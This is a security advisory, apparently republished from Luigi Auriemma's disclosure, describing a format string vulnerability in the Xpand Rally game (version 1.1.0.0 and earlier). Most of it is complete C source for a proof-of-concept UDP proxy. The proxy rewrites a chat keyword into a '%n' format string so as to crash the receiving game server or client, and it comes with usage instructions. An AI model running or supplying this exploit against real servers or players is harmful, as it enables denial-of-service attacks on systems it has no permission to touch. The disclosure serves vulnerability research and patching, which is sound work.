Xpand Rally Format String VulnerabilitySummary
Xpand Rally is "a cool rally game developed by Techland".
The Xpand Rally game is affected by an format string bug that can be exploited by an attacker to execute malicious code through the sending of a malformed message.
Credit:
The information has been provided by Luigi Auriemma.
The original article can be found at: http://aluigi.altervista.org/adv/xprallyfs-adv.txt
Details
Vulnerable Systems:
* Xpand Rally version 1.1.0.0 and prior
The attacker cannot sends the malformed message directly from his game because he will exploit his same machine, so is suggested the usage of a program that modifies the packets on the fly (like an UDP proxy for example). Both servers and clients are vulnerable and the vulnerability is in-game.
Exploit:
The exploit is a simple UDP proxy server that substitutes the keyword crashmenow with a sequence of %n patterns causing the crash of the server or the client that receives it.
/*
by Luigi Auriemma - http://aluigi.altervista.org/poc/xprallyfs.zip
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define BUFFSZ 65536
#define KEYWORD "crashmenow"
#define KEYFSTR "%n%n%n%n%n"
#define KEYSZ (sizeof(KEYWORD) - 1)
void hack_pck(u_char *buff, int len);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer1,
peer2;
fd_set readset;
int sd1,
sd2,
len,
bigsock,
on = 1,
psz,
versus = 3;
u_short sport,
lport;
u_char buff[BUFFSZ];
setbuf(stdout, NULL);
fputs("\n"
"Xpand Rally <= 1.1.0.0 in-game format string bug "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 4) {
printf("\n"
"Usage: %s <server> <server_port> <local_port> [versus]\n"
"\n"
" \"versus\" is an optional parameter that can be 1 if you want to modify\n"
" only the client's packets, 2 to modify the packets sent by the server or\n"
" 3 to modify both (default).\n"
"\n"
" Note: default game port is 28015 so use this port if you have doubts\n"
" Note: this tool supports only one client at time\n"
"\n", argv[0]);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
fputs("\n"
"How to use this proof-of-concept:\n"
"---------------------------------\n"
"1) launch this tool specifing all the correct parameters (ok)\n"
"2) launch your Xpand Rally game (client or server depending by what you want\n"
" to test)\n"
"3) connect to localhost (127.0.0.1)\n"
"4) when you are in the server send a message containing the keyword "KEYWORD"\n"
" The keyword will be substituited with "KEYFSTR" that will crash the server\n"
"\n", stdout);
if(argc > 4) versus = atoi(argv[4]) & 3;
sport = atoi(argv[2]);
lport = atoi(argv[3]);
peer1.sin_addr.s_addr = INADDR_ANY; /* listen for client */
peer1.sin_port = htons(lport);
peer1.sin_family = AF_INET;
peer2.sin_addr.s_addr = resolv(argv[1]); /* connect to server */
peer2.sin_port = htons(sport);
peer2.sin_family = AF_INET;
psz = sizeof(peer1);
printf("\n"
"- server: %s : %hu\n"
"- bind UDP port %u\n"
"- attack versus server: %s\n"
"- attack versus client: %s\n"
"\n",
inet_ntoa(peer2.sin_addr), sport,
lport,
(versus & 1) ? "yes" : "no",
(versus & 2) ? "yes" : "no");
sd1 = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd1 < 0) std_err();
sd2 = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd2 < 0) std_err();
if(setsockopt(sd1, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
< 0) std_err();
if(bind(sd1, (struct sockaddr *)&peer1, sizeof(peer1))
< 0) std_err();
fputs("- ready\n", stdout);
FD_ZERO(&readset); // wait first client's packet
FD_SET(sd1, &readset);
if(select(sd1 + 1, &readset, NULL, NULL, NULL)
< 0) std_err();
if(sd1 > sd2) bigsock = sd1 + 1;
else bigsock = sd2 + 1;
for(;;) {
FD_ZERO(&readset);
FD_SET(sd1, &readset);
FD_SET(sd2, &readset);
if(select(bigsock, &readset, NULL, NULL, NULL)
< 0) std_err();
if(FD_ISSET(sd1, &readset)) { // CLIENT
len = recvfrom(sd1, buff, BUFFSZ, 0, (struct sockaddr *)&peer1, &psz);
if(len < 0) std_err();
if(versus & 1) hack_pck(buff, len);
if(sendto(sd2, buff, len, 0, (struct sockaddr *)&peer2, sizeof(peer2))
< 0) std_err();
} else if(FD_ISSET(sd2, &readset)) { // SERVER
len = recvfrom(sd2, buff, BUFFSZ, 0, (struct sockaddr *)&peer2, &psz);
if(len < 0) std_err();
if(versus & 2) hack_pck(buff, len);
if(sendto(sd1, buff, len, 0, (struct sockaddr *)&peer1, sizeof(peer1))
< 0) std_err();
}
fputc('.', stdout);
}
close(sd1);
close(sd2);
return(0);
}
void hack_pck(u_char *buff, int len) {
u_char *p,
*l;
l = buff + len - KEYSZ;
for(p = buff; p <= l; p++) {
if(!memcmp(p, KEYWORD, KEYSZ)) {
memcpy(p, KEYFSTR, KEYSZ);
fputs("\n HACKED PACKET MODIFIED\n", stdout);
}
}
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif